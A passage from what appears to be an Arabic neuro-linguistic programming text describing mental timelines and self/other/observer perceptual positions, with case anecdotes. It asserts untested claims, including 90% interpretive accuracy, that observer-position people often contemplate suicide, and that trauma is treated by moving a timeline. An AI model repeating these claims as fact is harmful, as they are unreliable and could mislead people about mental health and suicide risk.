‫إﻟﻰ اﻟﻣﺳﺗﻘﺑل اﻟﺑﻌﯾد ﻣرورا ﺑﺎﻟﻣﺳﺗﻘﺑل اﻟﻘرﯾب‪.‬‬
‫وﯾﻌﺗﺑر ﺧط اﻟزﻣن ﻣن طرق ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت‪ ،‬ﻓﻛل إﻧﺳﺎن ﻟﮫ ﺧط زﻣﻧﮫ اﻟﺧﺎص ﺑﮫ‪ ،‬وﻟﺧط اﻟزﻣن دﻻﻻت ﻣﮭﻣﺔ‪ ،‬ﻣﻧﮭﺎ‪:‬‬
‫‪ -‬أﯾن ﯾﺗرﻛز اھﺗﻣﺎم اﻹﻧﺳﺎن ﺑﺎﻟزﻣن؟‬
‫‪ -‬ھﻧﺎك اﻟﻌدﯾد ﻣن ﺗﻘﻧﯾﺎت اﻟﻌﻼج ﺑﮫ‪.‬‬
‫‪ -‬دﻻﻻت أﻧﻣﺎط ﺧطوط اﻟزﻣن‪.‬‬
‫‪ -‬اﻟﻣﺷﺎﻋر ﺗﺷد اﻟﺣدث وﻟذﻟك ﻗد ﺗﻔﺳد ﺧط اﻟزﻣن‪.‬‬
‫‪ -‬ﯾﻣﻛن ﺗﻐﯾﯾر ﺧط اﻟزﻣن ﻋﺑر ﺗﻘﻧﯾﺎت ﺧﺎﺻﺔ‪.‬‬
‫‪ -‬اﻟﺧﺑرات اﻟذھﻧﯾﺔ ﯾﺻﻧﻔﮭﺎ اﻹﻧﺳﺎن ﻓﻲ اﻟﻌﺎدة‪.‬‬
‫‪ -‬ﻣﺎﺿﻲ ﺑﻌﯾد ﻣﺎﺿﻲ ﻗرﯾب اﻵن ﻣﺳﺗﻘﺑل ﻗرﯾب ﻣﺳﺗﻘﺑل ﺑﻌﯾد‪.‬‬
‫طﻠﺑﻧﺎ اﺧﺗﯾﺎر ﺣدث ﻣﺗﻛرر ﻓﻲ ﺣﯾﺎﺗﮫ ﻟﯾس ﻓﯾﮫ ﻣﺷﺎﻋر وﺳﯾﺑﻘﻰ إﻟﻰ اﻟﻣﺳﺗﻘﺑل‪ ،‬ﺛم اﻟﺗوﺟﮫ ﻣن أﻗﺻﻰ اﻟﻣﺎﺿﻲ اﻟﺑﻌﯾد – اﻵن – اﻟﻣﺳﺗﻘﺑل ﻧﺳﺑﺔ‬
‫اﻟﺻواب ﻓﻲ ﺗﻔﺳﯾري ل ‪ 60‬ﺷﺧص ﺗﺗﺟﺎوز ‪ %90‬ﻣن اﻟدﻻﻻت اﻟظﺎھرة ﺟدا‪.‬‬
‫‪ -‬اﻟذﯾن ﯾﺿﻌون اﻟﻣﺎﺿﻲ أﻣﺎﻣﮭم واﻟﻣﺳﺗﻘﺑل ﺧﻠﻔﮭم‪ ،‬ﺗوﻏﻠﮭم ﻓﻲ اﻟﻣﺳﺗﻘﺑل ﺑطﻲء أو ﻣﻧﻌدم وﻻ ﺳﯾﻣﺎ إذا ﻛﺎن اﻟﻣﺎﺿﻲ ﺳﻠﺑﯾﺎ ﻷﻧﮫ ﯾﺻطدم‬
‫ﻛل ﺣﯾن ﺑﺗﺟرﺑﺔ ﺳﻠﺑﯾﺔ ﺣﺗﻰ ﻟو ﻛﺎن اﻟﻣﺳﺗﻘﺑل ﺣﺳﻧﺎ ﻓﮭﻲ ﺳﯾﺊ ﻷﻧﮫ ﯾﺷﻐﻠﮭم ﺑﺄﺣﻼم اﻟﻣﺎﺿﻲ‪ .‬ھﻛذا ﯾﻌﯾﺷون ﺑﺄﺣﻼم اﻟﻣﺎﺿﻲ أو أﺣزاﻧﮫ‬
‫ﻓﮭو ﺳﻠوك ﻻ ﯾﻔﻛر ﻓﻲ اﻟﻣﺳﺗﻘﺑل‪.‬‬
‫‪ -‬اﻟذﯾن ﻻ ﯾرون اﻟﻣﺎﺿﻲ أﺑدا واﻟﻣﺳﺗﻘﺑل أﻣﺎﻣﮭم أو ﯾرون اﻟﻣﺎﺿﻲ ﻓﻲ اﻟﺧﻠف ﻻ ﯾﺗﻌﻠﻣون ﻣن ﺗﺟﺎرﺑﮭم‪ ،‬وﯾﻘﻌون داﺋﻣﺎ ﻓﻲ ﻧﻔس اﻷﺧطﺎء‬
‫وﯾﺑﺣﺛون داﺋﻣﺎ اﻟﺧطوات اﻟﺟدﯾدة وﯾؤﻣﻠون ﻓﯾﮭﺎ‪.‬‬
‫‪ -‬اﻟذﯾن ﯾرون اﻟﻣﺎﺿﻲ واﻟﻣﺳﺗﻘﺑل أﻣﺎﻣﮭم )ﯾﻛﺛر ﻓﻲ ﺧﻼل اﻟزﻣن( ﯾﺗﻌﻠﻣون ﻣن دروس اﻟﻣﺎﺿﻲ دون اﻹﺣﺟﺎم ﻣن اﻟﻣﺳﺗﻘﺑل وﻛذﻟك‬
‫ي اﻟﺻورﺗﯾن أوﺿﺢ ھﻧﺎ أو ھﻧﺎك؟‬ ‫ﯾﻧطﻠﻘون دون أن ﯾﮭﻣﻠون اﻟﻣﺎﺿﻲ واﻟﺳؤال ھﻧﺎ‪ :‬ا ّ‬
‫‪ -‬اﻟﻘرب واﻟﺑﻌد‪ :‬اﻟﺣدث اﻷﻗرب ھو اﻷﻛﺛر ﺗﺄﺛﯾرا ﻓﻲ اﻟﻐﺎﻟب‪.‬‬
‫‪ -‬ﻧﺗﻔﺎﻋل ﻣﻊ اﻵن ﻷﻧﮫ ﻣﻠﺗﺻﻖ ﺑﺎﻟوﺟﮫ ﻏﺎﻟﺑﺎ‪ ،‬ﺑﻘدر اﻻﻗﺗراب ﻣن اﻟﻧﺎس اﻟذﯾن ﯾﻔﻛرون ﻛﺛﯾرا ﻓﻲ اﻟﻘدر اﻷﺳﺑوع اﻟﻘﺎدم واﻟﺳﻧﺔ اﻟﻘﺎدﻣﺔ وﯾﻔﻛر‬
‫ﻓﯾﮫ ﻛﺛﯾرا ﺑل ﯾﻣﻸ ذﻋﻧك وﺗﺷﻌر ﺑﮫ ﻗرﯾﺑﺎ وان ﻛﻧت ﻟﺳت ﺗﺗﺻور ﺷﻛﻠﮫ رﺑﻣﺎ ﻋﻧدك أﻣل ذھﻧﻲ ﺑﺎﻟوﺻول ﻻ ﺷﻌورﯾﺎ )‪( %95‬‬
‫ﺣﺎﻟﺔ‪ :‬اﻟﻣﺎﺿﻲ ﺧﻣس ﺳﻧوات أﻣﺎﻣﮫ واﻟﺑﺎﻗﻲ ﺧﻠﻔﮫ ﻣﻌﻧﺎه ﻓﻲ ھذه اﻟﺳﻧوات اﻟﺧﻣس ﺗﺟرﺑﺔ ﻣﺛﺎﻟﯾﺔ ﺟدا ﻓﮭﻲ ﺣﺎﻛﻣﺔ ﻟﻧظره‪.‬‬
‫ﺣﺎﻟﺔ‪ :‬ﺷﺧص ﻧﺎﺟﺢ وﻣﺑدع وﻓﻲ اﻟﻣرﺣﻠﺔ اﻟﻣﺗوﺳطﺔ ﻓﺎز ﻓﻲ ﻣﺳﺎﺑﻘﺔ ﻋﻠﻰ ﻣﺳﺗوى اﻟﻣﻣﻠﻛﺔ وﻣن إﻧﺟﺎزاﺗﮫ اﻟﻛﺛﯾر ﻣن اﻟﺗﻔوﻗﺎت وﻻﺳﯾﻣﺎ ﻓﻲ‬
‫اﻟﻣﺳﺎﺑﻘﺎت ﻓﺎز ﻓﻲ اﻟﺳﻧﺔ اﻷوﻟﻰ ﻋﻠﻰ ﺟﺎﻣﻌﺔ اﻟﻣﻠك ﺳﻌود ﻛﻠﮭﺎ ورﻏم ذﻟك ﻋﺎد إﻟﻰ اﻟطﺎﺋف ﻣﺿطرا ﻓﻲ ﻛﻠﯾﺔ اﻟﺗرﺑﯾﺔ ﻣﻧذ ﺳﻧﺗﯾن واﻟﻰ اﻵن‬
‫ﯾرﺳب ﻓﻲ اﻟﺳﻧﺔ اﻷﺧﯾرة )اﺳﺗﺧرﺟﻧﺎ ﺧط اﻟزﻣن ﻣﻧﮫ ﻓوﺟدﻧﺎ اﻟﻣﺎﺿﻲ اﻟﺑﻌﯾد أﻣﺎﻣﮫ وﻟﺣظﺔ اﻵن ﻓوﻗﮫ واﻟﻣﺳﺗﻘﺑل وراءه ﻣن ﻓوق( إذا ھو ﯾﻌﯾش‬
‫ﻓﻲ اﻟﻣﺎﺿﻲ وﻟﯾس اﻵن واﻟﻣﺳﺗﻘﺑل ﺑﺎﻟﻧﺳﺑﺔ ﻟﮫ ﺑﻌﯾد ﺟدا‪.‬‬
‫ﺣﺎﻟﺔ‪ :‬ﺷﺧص درس ﻣﻧذ ﻋﺎم ‪ 1407‬وﻛﻧت ﻋﻠﻰ وﺷك اﻟﺗﺧرج وھو ﻻ ﯾزال ﺣدﯾث اﻟﻌﮭد ﻟم ﯾﺗﺧرج إﻟﻰ اﻵن وھو ﻓﻲ طب اﻷﺳﻧﺎن ﺟﻠﺳت ﻣﻌﮫ‬
‫اﻟﻌﺎم اﻟﻣﺎﺿﻲ ﻓوﺟدت ﻛل اﻟﻣﺎﺿﻲ أﻣﺎﻣﮫ وﻻ ﻣﺳﺗﻘﺑل‪ .‬ﻋﻧده ﻣﺻﺎﺋب ﻓﻲ وﺟﮭﮫ ﻛﯾف ﺳﯾﻧﺟﺢ؟ وﻣﺗﻰ ﺳﯾﺗﺧرج؟ ﻻ أﻋﻠم ﻣﺗﻰ زواﺟك؟ اﻟﺦ‪،...‬‬
‫ﻣن زوﺟﺗك اﻟﺗﻲ ﺗرﯾدھﺎ؟ ﻟم أﻓﻛر ﻓﻲ ھذا؟ ﻟﻣﺎ ﻋﻣﻠت ﻟﮫ ﻣﺳﺢ ﻟﻠﺻدﻣﺎت‪ ،‬ﺟﺎءﻧﻲ ﻓﻲ اﻟﯾوم اﻟﺛﺎﻧﻲ وﻗﺎل ﻟﻲ أرﯾد أن أﺗزوج‪.‬‬
‫ﺣﺎﻟﺔ‪ :‬ﺷﺧص اﺗﺻل ﺑﻲ وﻋﻧده ﺑﻧت ﻓﻲ اﻟﺛﺎﻧﻲ ﺟﺎﻣﻌﺔ وھﻲ ﻣﺗﻔوﻗﺔ ﺟدا وﻟﻛﻧﮭﺎ ﻣﻧذ ﺳﻧﺔ وھﻲ ﻓﻲ ﺗردي دراﺳﻲ ﻋﻧدﻣﺎ اﺳﺗﺧرﺟت ﺧط اﻟزﻣن‬
‫ﻟﮭﺎ اﻟﻣﺎﺿﻲ أﻣﺎﻣﮭﺎ وﻟﻛن ﻗﺑل ﺳﻧﺔ واﺿﺢ ﺟدا اﻵن واﻟﻣﺳﺗﻘﺑل ﺧﻠف ﻣﺎذا ﺣﺻل ﻗﺑل ﺳﻧﺔ؟ ﻣﺎﺗت ﺻدﯾﻘﺗﮭﺎ اﻟﺗﻲ ﺗﺣﺑﮭﺎ وھﻲ اﻵن ﺗﻌﯾش ﻗﺑل ﺳﻧﺔ‬
‫وﻻ ﺗﻌﯾش اﻟﻠﺣظﺔ ﺗﻌﯾش ﻓﻲ اﻟﻌﺎم اﻟﻣﺎﺿﻲ ﻛﯾف ﺳﺗﺗﻘدم؟ ﻏﺎﻟﺑﺎ اﻟذﯾن ﯾﺿﻌون اﻟﻣﺎﺿﻲ أﻣﺎﻣﮭم ﯾﻌﺎﻟﺟون ﺑﺈزاﻟﺔ اﻟﺻدﻣﺎت أوﻻ ﺛم إزاﺣﺔ ھذا‬
‫اﻟﺧط إﻟﻰ اﻟوراء‪.‬‬
‫ﺣﺎﻟﺔ‪ :‬ﺧط زﻣن إﺣداھن‪ ،‬اﻟﻣﺎﺿﻲ ﻓوق وراءھﺎ‪ ،‬واﻵن ﻓﯾﮭﺎ واﻟﻣﺳﺗﻘﺑل أﻣﺎﻣﮭﺎ ﻓوق واﻟﻔوق )ﻏﺎﻟﺑﺎ ﻣﻌﻧﺎه ﻧوع ﻣن اﻟﻣﺛﺎﻟﯾﺔ واﻟطﺑﯾﻌﺔ اﻟﺣﺎﻟﻣﺔ(‬
‫ﻛﺎﻧت اﻷﺧت وﻣﺎ زاﻟت ﻣﺛﺎﻟﯾﺔ ﻓﻲ ﺳﻠوﻛﮭﺎ وأﺣﻼﻣﮭﺎ وآﻣﺎﻟﮭﺎ ﺻﺣﯾﺢ إﻧﮭﺎ ﺗﻌﯾش اﻟﻠﺣظﺔ وﻟﻛن آﻣﺎﻟﮭﺎ ﺑﻌﯾدة اﻟﻣﻧﺎل‪.‬‬
‫ﺣﺎﻟﺔ‪ :‬ﺷﺧص آﺧر اﻟﻣﺎﺿﻲ ﯾﻧزل إﻟﻰ اﻟﻌﻣﻖ وراءه‪ ،‬وﻣﺳﺗﻘﺑﻠﮫ أﻣﺎﻣﮫ ﺻﺎﻋد‪ ،‬ﻣﺎﺿﯾﮫ رديء ﯾرﯾد دﻓﻧﮫ وﻣﺳﺗﻘﺑﻠﮫ ﺣﺎﻟم‪ ،‬إﻣﺎ أن ﺗﺻﻌد واﻣﺎ أن‬
‫ﺗﻧزل ﻣن أﺣﻼﻣك‪ ،‬اﻧﺗﺑﺎھك اﻷﻛﺛر ﻟﻠﻣﺎﺿﻲ وﺗﺄﺛرك اﻟﻛﺑﯾر ﺑﮫ‪ ،‬واﻟﻣﺳﺗﻘﺑل اﻟﻘرﯾب ﺗﺳﺗطﯾﻊ ﺗﺧﯾﻠﮫ وﻛﻠﻣﺎ ﺗﻘدم اﺧﺗﻔﻰ ﻋﻧك اﻟﻣﺳﺗﻘﺑل اﻟﺑﻌﯾد ﺟدا ﻗد‬
‫ﯾﻛون أوﺿﺢ ﻟدﯾك ﺗﻌرف ﻣﺎ ﺗرﯾد أن ﺗﻛون ﺑﻌد ﻋﺷر ﺳﻧوات ﻟﻛن ﻻ ﺗﻌرف ﺗﻔﺻﯾل ذﻟك‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪858‬‬

‫ﺣﺎﻟﺔ‪ :‬اﻟﻣﺎﺿﻲ اﻟﺑﻌﯾد أﻣﺎم واﻟﻘرﯾب أﻗرب اﻵن ﻓﻲ اﻟوﺟﮫ واﻟﻣﺳﺗﻘﺑل ﻓﻲ اﻟرأس وﻟﻛن ﯾﺿﻌﮫ ﺑﺎﺗﺟﺎه ﺧﻠف اﻟرأس ھذا ﯾﺳﺗﺣﺿر اﻟﻣﺎﺿﻲ داﺋﻣﺎ‬
‫وھو ھﺎم ﺗﺟﻌﻠﮫ ﺑﯾن ﻧﺎظرﯾك ﺑﺎﺳﺗﻣرار وﻻ ﺗﺳﺗطﯾﻊ أن ﺗﻐﯾب ﻣﺎ ﺣﺻل ﻓﻲ ﻣﺎﺿﯾك اﻟﻘرﯾب وﻗد ﻻ ﺗﻧﺳﺎه‪.‬‬
‫ﺣﺎﻟﺔ‪ :‬ﺷﺧص ﻧﺎﺟﺢ ﺟد ا اﻟﻣﺎﺿﻲ ﻛﻠﮫ ﻓﻲ ﻋﻘﻠﮫ ﯾﻘﺗرب إﻟﻰ اﻟﻌﯾن اﻵن ﻓﻲ وﺟﮭﮫ واﻟﻣﺳﺗﻘﺑل أﻣﺎﻣﮫ إﻟﻰ زﻣن ﻗرﯾب ﻛل ﺗﺟﺎرﺑﮫ ﻓﻲ ﺣﯾﺎﺗﮫ ﻓﻲ‬
‫ﻋﻘﻠﮫ ﯾﺳﺗﻔﯾد ﻣﻧﮭﺎ ﺑﺎﺳﺗﻣرار أﻗﺻﻰ ﻣﺳﺗﻘﺑﻠﮫ ﺗﺣت ﯾده‪.‬‬
‫‪ -2‬ﻣواﻗﻊ اﻹدراك اﻟﻣﻛﺎﻧﯾﺔ‬
‫اﻻﺗﺣﺎد واﻻﻧﻔﺻﺎل‪:‬‬
‫ھﻧﺎك ﺣﺎﻟﺔ اﺗﺣﺎد ‪ Association‬وﺣﺎﻟﺔ اﻻﻧﻔﺻﺎل ‪ Dissociation‬أي اﺗﺣﺎدك ﺑﺎﻟﺗﺟرﺑﺔ اﻟﻧﻔﺳﯾﺔ أو اﻧﻔﺻﺎﻟك ﻋﻧﮭﺎ وﻟﻛل ﺣﺎﻟﺔ ﻣن اﻟﺣﺎﻟﺗﯾن‬
‫اﺳﺗﻌﻣﺎﻻت وﻓواﺋد ﻓﻲ اﻟﺑرﻣﺟﺔ اﻟﻌﺻﺑﯾﺔ اﻟﻠﻐوﯾﺔ‪ .‬ﻓﻔﻲ ﻛﺛﯾر ﻣن أﺳﺎﻟﯾب اﻟﺑرﻣﺟﺔ اﻟﻌﺻﺑﯾﺔ اﻟﻠﻐوﯾﺔ ﯾﻘﺗﺿﻲ اﻷﻣر أن ﺗﻛون اﻟﺣﺎﻟﺔ اﻟذھﻧﯾﺔ ﻓﻲ‬
‫ﺣﺎﻟﺔ اﺗﺣﺎد وﻓﻲ أﺳﺎﻟﯾب أﺧرى ﺗﻛون ﻓﻲ ﺣﺎﻟﺔ اﻧﻔﺻﺎل‪.‬‬
‫ﻓﻲ ﺣﺎﻟﺔ اﻻﺗﺣﺎد ﺗﺗﺧﯾل ﻧﻔﺳك وأﻧت ﺗﻌﯾش اﻟﺣدث وﺗﺗﻔﺎﻋل ﻣﻌﮫ ﻓﺗرى وﺗﺳﻣﻊ وﺗﺣس ﺑﻣﺎ ﯾﺣﯾط ﺑك‪ ،‬ﻓﺗﻛون اﺳﺗﺟﺎﺑﺗك ﻣﺑﺎﺷرة ﻟﻠﺣدث أﻣﺎ ﻓﻲ‬
‫ﺣﺎﻟﺔ اﻻﻧﻔﺻﺎل ﻓﺄﻧت ﺗراﻗب اﻟﺣدث وﻻ ﺗﻌﯾﺷﮫ ﺑﺎﻟرﻏم ﻣن ﻛون اﻟﺷﺧص اﻟذي ﺗراه ھو أﻧت وﻟذﻟك ﻓﺈن اﺳﺗﺟﺎﺑﺗك ﺗﻛون ﺿﻌﯾﻔﺔ أو ﻣﻌدوﻣﺔ ﻓﻲ‬
‫ھذه اﻟﺣﺎﻟﺔ‪.‬‬
‫إن ﺗﺧﯾل ھذه اﻟﻣواﻗﻊ اﻟﺛﻼﺛﺔ ﯾﻔﯾدﻧﺎ ﻛﺛﯾرا ﻓﻲ ﺗﺣﻘﯾﻖ اﻟﺗوازن ﺑﯾن وﺟﮭﺔ ﻧظرﻧﺎ ووﺟﮭﺎت ﻧظر اﻵﺧرﯾن‪ ،‬وﯾﺳﺎﻋدﻧﺎ ﻋﻠﻰ اﻟوﺻول إﻟﻰ ﻣوﺿوﻋﯾﺔ‬
‫أﻛﺑر وﺗﻘﯾﯾم أدق ﻟﺳﻠوﻛﻧﺎ‪.‬‬
‫ﻓﻠﺳﻔﺔ ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت‪:‬‬
‫ﺗﻐﯾﯾر ﻣواﻗﻊ اﻹدراك اﻟﻣﻛﺎﻧﯾﺔ واﻟزﻣﺎﻧﯾﺔ واﻟﻣﻧطﻘﯾﺔ ﻣﮭم ﺟدا ﻓﻲ ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت‪.‬‬
‫ﻋﻧدﻣﺎ اﻧظر إﻟﻰ ﺗﺟرﺑﺔ واﺣدة ﻣن ﻣواﻗﻊ إدراك زﻣﺎﻧﯾﺔ أو ﻣﻛﺎﻧﯾﺔ أو ﻣﻧطﻘﯾﺔ ﻣﺧﺗﻠﻔﺔ ﺳﺄﺟﻣﻊ ﻣﻌﻠوﻣﺎت أﻛﺛر‪ ،‬ﻓﻣﺛﻼ ﻋﻧدﻣﺎ أرﯾد أن أﺗزوج زوﺟﺔ‬
‫ﺛﺎﻧﯾﺔ‪ ،‬إذا ﻧظرت إﻟﯾﮭﺎ ﻛﻣﺳﺗﻘﺑل ﻓﮭذه ﻧظرة واﺣدة‪ ،‬ﻣﺎذا ﻟو درﺳﺗﮭﺎ ﻣن واﻗﻊ أﻧﻲ أﻋﯾش اﻵن )ﺑﯾﺗﺎن – ﻣﺻروﻓﺎن – اﯾﺟﺎران ‪-‬ﺳﻔرﺗﺎن(‪ ،‬وأﯾﺿﺎ‬
‫ﻣﺎذا ﻟو درﺳﺗﮭﺎ ﻋﻠﻰ أﻧﮭﺎ ﻣﺎﺿﻲ )ﻋﻧدي ﻋﺷرة أوﻻد – أﻛﺛر زﯾﺎرة اﻟﻣﺳﺗﺷﻔﯾﺎت – ﻋﻘد ﻧﻔﺳﯾﺔ(‪.‬‬
‫إذا اﺳﺗطﻌت ﺟﻣﻊ ﻣﻌﻠوﻣﺎت أﻛﺛر ﻋﻧدﻣﺎ ﻏﯾرت ﻣواﻗﻊ اﻹدراك‪ .‬أﯾﺿﺎ ﻋﻧدﻣﺎ أﻧوع ﻣﻛﺎن اﻟﻧظر ﺗزداد اﻟﻣﻌﻠوﻣﺎت‪.‬‬
‫ﻋﻧدﻣﺎ اﻧظر ﻣن ﻣﻛﺎﻧﻲ ﻛﻣدرب )ذات( أﺟد ﻣﻌﻠوﻣﺎت ﻏﯾر اﻟﺗﻲ أﺟدھﺎ ﻋﻧدﻣﺎ اﻧظر ﻣن ﻣوﻗﻌﻲ ﻛطﺎﻟب )آﺧر( ﻏﯾر اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ أﺟدھﺎ‬
‫ﻋﻧدﻣﺎ اﻧظر ﻣن وﺟﮭﺔ ﻧظر ﺷﺧص ﻻ ﻋﻼﻗﺔ ﻟﮫ )ﻣراﻗب(‪.‬‬
‫ھذه إذا ﺗﻌطﯾك ﻣﻌﻠوﻣﺎت ﻟم ﺗﻛن ﺗﺣﻠم ﺑﮭﺎ‪ ،‬ﻓﻌﻧدﻣﺎ ﺗﺿﻊ ﻧﻔﺳك ﻓﻲ ﻣوﺿﻊ زوﺟﺗك اﻟﺗﻲ اﺧﺗﻠﻔت ﻣﻌﮭﺎ ﺗﺻﺑﺢ )أﻧﺎ اﻟﻣﺳﻛﯾﻧﺔ اﻟﺿﻌﯾﻔﺔ وھو‬
‫اﻟﻣﺗﺟﺑر(‪ ،‬أﻓﮭم أﺷﯾﺎء ﺟدﯾدة ورﺑﻣﺎ ﻟو اﻧﺗﻘﻠت إﻟﻰ ﻣوﻗﻊ )اﻟﻣراﻗب( )اﻟﻣﺣﺎﯾد(‪ ،‬ﻓﺗرى أﺷﯾﺎء ﺟدﯾدة ﻟﯾﺳت ﻟك وﻻ ﻟﮭﺎ ﻋﻼﻗﺔ ﺑﮭﺎ ﻗد ﯾﻛﺗﺷف ظروﻓﺎ‬
‫ﻗﮭرﺗﻛﻣﺎ‪.‬‬
‫ﻧﺣن ﻧﻌﯾش داﺋﻣﺎ ﻓﻲ ﻣواﻗﻊ ذواﺗﻧﺎ‪ ،‬واﻟذي ﯾﻌﯾش ﻓﻲ ﻣوﻗﻊ اﻟذات ﯾﻛون ﻓﻲ اﻟﻐﺎﻟب أﻧﺎﻧﻲ أو ﻣﻐرور‪ ،‬واﻟﺑﻌض ﯾﻌﯾش داﺋﻣﺎ ﻓﻲ ﻣوﻗﻊ اﻷﺧر أﯾﺎ‬
‫ﻛﺎن‪ ،‬داﺋﻣﺎ ﺣﺎﺳس ﺑﺎﻟﻧﺎس ﺷﺎﻋر ﺑﮭم ﻣﻘدر ﻟﻣﺷﺎﻋرھم وﯾﻧﺳﻰ ﻧﻔﺳﮫ واﻟﺑﻌض ﯾﻌﯾش داﺋﻣﺎ ﻓﻲ ﻣوﻗﻊ اﻟﻣراﻗب وھو ﺣﯾﻧﺋذ ﻋﻠﻰ ھﺎﻣش اﻟﺣﯾﺎة ﻻ‬
‫ﯾﻔﻛر ﻓﻲ ﻧﻔﺳﮫ وﻻ ﻓﻲ اﻵﺧر وھؤﻻء ﻛﺛﯾرا ﻣﺎ ﯾﻔﻛرون ﻓﻲ اﻻﻧﺗﺣﺎر‪.‬‬
‫ﻣﺛﺎل‪ :‬أﻧﺎﻧﻲ ﻻ أﻓﻛر ﻓﻲ أﺣد إذا أردت أن آﻛل ﻓﺎﻵن‪ ،‬وﻻ ﺷﺄن ﻷﺣد ﺑﻲ أﺑدا‪ ،‬ﻻ أﻓﻛر ﻓﻲ أﺣد أﺑدا طﺎﻟﻣﺎ أﻧﻰ أﻧﺎ‪ ،‬إذا ﻛﺎن ﻣدﯾرا ﻓﻛل اﻹدارة‬
‫ﯾﻧﺑﻐﻲ أن ﺗﺷﺗﻐل ﻣن اﺟل ذاﺗﮫ ﻓﯾﺧدﻣﮫ ﻣوظﻔوه ﺧدﻣﺎت ﺧﺎﺻﺔ‪ ،‬اﻟدوام ﯾﺑدأ إذا وﺻل ھو وﯾﺑﻘون ﻣﻌﮫ إﻟﻰ وﻗت ﺧروﺟﮫ وأﺻﺑﺣت اﻟﻣؤﺳﺳﺔ‬
‫ﻣﻣﻠﻛﺗﮫ اﻟﺧﺎﺻﺔ‪ ،‬وﻗد ﯾﺳﺄل ﻧﻔﺳﮫ ﻟﻣﺎذا ﻻ ﯾﻔﮭﻣﻧﻲ اﻟﻧﺎس‪ ،‬ھل أﻧﺎ ﻗﺎس أو ظﺎﻟم‪ ،‬ﻟﻣﺎذا ﯾﻐﺿب اﻟﻧﺎس ﻣن ﻛﻼﻣﻲ‪ ،‬اﻟﺣﻘﯾﻘﺔ أﻧﮫ ﻻ ﯾﺷﻌر ﺑﺎﻟﻧﺎس‬
‫اﻟذﯾن ﯾدوﺳﮭم‪.‬‬
‫ﻣﺛﺎل‪ :‬ﺑﻧت اﻟﺟﯾران ﻣرﺿت ﻓذھب ﺑﮭﺎ إﻟﻰ اﻟﻣﺳﺗﺷﻔﻰ‪ ،‬وﺑﻧﺗﮫ ﻣرﯾﺿﺔ ﻣﻧذ ﻛذا ﻓﻼ ﯾذھب ﺑﮭﺎ‪ ،‬أﻧﺑوﺑﺔ اﻟﺟﯾران ﯾﻣﻸھﺎ وأﻧﺑوﺑﺔ ﺑﯾﺗﮫ ﻓﺎرﻏﺔ ﻣﻧذ ﻛذا‬
‫وﻛذا‪ ،‬ﯾﻧﺎم وﯾﻣﻧﻊ أوﻻده ﻣن أدﻧﻰ ﺻوت ﻓﺈذا اﺗﺻل أﺣد ﻗﺎم إﻟﯾﮫ‪ ،‬ﯾﻣﻛن أن ﯾﻛون داﻋﯾﺔ ﯾدﻋو وﯾﺧدم وﻻ ﯾﺟﻠس ﻣﻊ ﻧﻔﺳﮫ ﺳﺎﻋﺔ ﯾﻘرأ اﻟﻘران أو‬
‫ﯾذﻛر ﷲ‪.‬‬
‫وﻟﻣﻌرﻓﺔ أي اﻟﻣواﻗﻊ أﻓﺿل؟ ﻧﻘول ﺣﺳب اﻟﺳﯾﺎق‪:‬‬
‫ﻓﻲ اﻟذات ـ ﺣﺗﻰ اﻋرف ﺣﻖ ﻧﻔﺳﻲ ﻓﻼ اﺣرﻣﮭﺎ ﻣن ﻣﺑﺎح‪.‬‬
‫ﻻ ﻓﻲ اﻵﺧر ـ ﺣﺗﻰ اﻋﺗدي ﻋﻠﻰ أﺣد وأﺳﺎﻋد اﻵﺧرﯾن وأﺷﻌر ﺑﮭم‪) ،‬ﻻ ﯾؤﻣن أﺣدﻛم ﺣﺗﻰ ﯾﺣب ﻷﺧﯾﮫ ﻣﺎ ﯾﺣب ﻟﻧﻔﺳﮫ(‪.‬‬
‫ﻓﻲ اﻟﻣراﻗب ـ ھو ﻣوﻗﻊ ﻋﻠوي ﯾﻧظر إﻟﻰ اﻷﻣور ﻣن ﻓوق‪ ،‬ﻻ ﯾﻧﺟذب ﺷﻌورﯾﺎ ﻟﺟﮭﺔ‪ ،‬ﻓﯾﺳﻣو ﺑﻧظرﺗﮫ إﻟﻰ اﻷﻋﻠﻰ وﯾﻧظر ﺑﺗﺟرد‪.‬‬
‫ﺧواص ﻣواﻗﻊ اﻹدراك‪:‬‬
‫ﻓﻲ اﻟذات )اﻟﻼوﻋﻲ ﻓﻘط(‪ :‬ﻷﻧﮭﺎ ﺗﻣﺛل اﻟﻣﺷﺎﻋر اﻟداﺧﻠﯾﺔ ﻓﻘط ﻛﺎﻟطﻔل ﯾﻔﻌل ﻣﺎ ﯾرﯾد‪ ،‬اﻟذات ﺗﺣب وﺗﻛره ﻓﻼ ﺗﻌرف ﺻواﺑﺎ وﺧطﺄ‪ ،‬ﻓﮭﻲ ﻻ وﻋﻲ‬
‫ﻓﻘط ﻓﮭو ﯾﺷﻌر ﺑﻧﻔﺳﮫ ﻟﻛﻧﮫ ﻻ ﯾرى وﻻ ﯾﺳﻣﻊ ﻧﻔﺳﮫ‪.‬‬
‫ﻓﻲ اﻵﺧر )وﻋﻲ وﻻ وﻋﻲ(‪ :‬ﯾﺷﻌر ﻋن اﻟذات ﯾرى وﯾﺳﻣﻊ اﻟذات ﻷﻧﻲ ﻋﻧدﻣﺎ اﻧﺗﻘل إﻟﻰ اﻵﺧر آري ﻧﻔﺳﻲ أﺗﺧﯾﻠﮭﺎ ﻓﺄﻧﺎ اﻋرف ﻣواﻗف اﻟﻧﺎس‬
‫ﺗﺟﺎھﻲ اﻟﺦ‪...‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪859‬‬

‫ﻓﻲ اﻟﻣراﻗب )وﻋﻲ ﻓﻘط(‪ :‬ﻻ ﯾﺷﻌر ﺑﺎﻟذات وﻻ ﻓﻲ اﻵﺧر ﺑل ﯾراھﻣﺎ وﯾﺳﻣﻌﮭﻣﺎ )وﻋﻲ ﻓﻘط( ﻋﺎﻗل ﺟدا ﻟﯾس ﻋﻧدي وﻋﻲ وﻻ ﻣﺷﺎﻋر‪ .‬ﻣوﻗﻊ‬
